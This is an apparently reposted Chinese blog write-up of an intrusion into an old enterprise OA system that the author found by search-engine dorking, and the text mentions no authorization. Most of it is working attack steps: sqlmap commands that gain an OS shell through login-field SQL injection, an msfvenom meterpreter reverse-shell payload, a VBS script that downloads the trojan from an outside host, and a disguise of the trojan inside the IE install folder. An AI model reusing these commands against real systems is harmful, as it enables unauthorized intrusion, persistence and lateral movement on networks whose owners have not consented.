某OA系统从SYSTEM权限SQL注入到内网漫游
2022-7-15 00:3:35 Author: 橘猫学安全(查看原文) 阅读量:20 收藏

前言

七月正值暑假,闲暇时光在百度上inurl一番,找到了一个某企业的古老OA系统进行渗透,从SYSTEM权限SQL注入到内网漫游。

一、getshell过程

1、发现漏洞

七月正值暑假,闲暇时光在百度上inurl一番,找到了一个古老的企业OA系统

IP站点,没有域名,扫过一眼,.NET流行时代的普遍漏洞浮现在脑海里——SQL注入。

在用户名里输入admin’,不负期望地报了错

很明显,前后端都没有对用户的输入进行过滤,直接将’带入了SQL语句进行。初步判断,此OA系统存在SQL注入漏洞。

2、漏洞验证

打开BurpSuite,设置好浏览器代理,抓下HTTP请求,一气呵成。

问题参数为 txtLogin=admin%27可将整个请求复制到 test.txt,使用sqlmap -r 来注入sqlmap -u http://x.x.x.x/xx.aspx --forms

至此,可以确认存在 error-based、stack quires和time-based三个类型的漏洞

3、判断数据库用户的权限

发现SQL注入后,首先要判断权限,高权限的注入可以为后续渗透省下很大功夫

sqlmap -u http://x.x.x.x/xx.aspx --forms --is-dba

非常nice,再次不负期望地返回了DBA权限

输入以下命令,获得一个shell

sqlmap -u http://x.x.x.x/xx.aspx --forms --os-shell

NT/SYSTEM权限,时隔两个多月,复现有误,不予贴图。

4、反弹shell进入内网

生成一个shellmsfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=xxxx > /var/www/html/shell.exe

由于环境艰难,不能直接上传文件,我选择了用vbs脚本来下载木马到服务器,代码如下:

代码:Set post=CreateObject("Msxml2.XMLHTTP")post.Open "GET","http://x.x.x.x/shell.exe"'发送请求post.Send()Set aGet = CreateObject("ADODB.Stream")aGet.Mode = 3aGet.Type = 1aGet.Open()'等待3秒,等文件下载wscript.sleep 3000 aGet.Write(post.responseBody)'写数据aGet.SaveToFile "shell.exe",2

用echo命令缓慢地写完了vbs脚本之后,顺利运行,下载了木马

更改名字,移动到IE安装目录进行伪装


start iee.exe 运行木马

metasploit成功收到了SYSTEM权限的shell

该主机拥有内网IP,存在内网,可以互通,并且该主机作为中央数据库

此内网主机皆为VMware虚拟机

三、总结

    

    本次渗透测试成功拿到最高权限, 到此为止,不再深入。随着攻击与防御技术的彼此攀升,程序员的安全意识逐渐提高,SQL也越来越少。但不少粗糙的程序和古老的系统仍然存在此漏洞,此类漏洞解决方法简单,只用对用户输入参数稍加处理即可。


作者:woojay,文章转载于Woojay's Blog。

侵权请私聊公众号删文

推荐阅读

XSS 实战思路总结

内网信息收集总结

xss攻击、绕过最全总结

一些webshell免杀的技巧

命令执行写webshell总结

SQL手工注入总结 必须收藏

后台getshell常用技巧总结

web渗透之发现内网有大鱼

蚁剑特征性信息修改简单过WAF

查看更多精彩内容,还请关注橘猫学安全

每日坚持学习与分享,觉得文章对你有帮助可在底部给点个“再看


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5OTY2NjUxMw==&mid=2247494098&idx=2&sn=316ffbc7a69280dfcd4869878e5f1346&chksm=c04d6eecf73ae7fa00087c5f96a1e19239ef61bd9df9d4bceec89a2de8e1b9df48fbfe527ac8#rd
如有侵权请联系:admin#unsafe.sh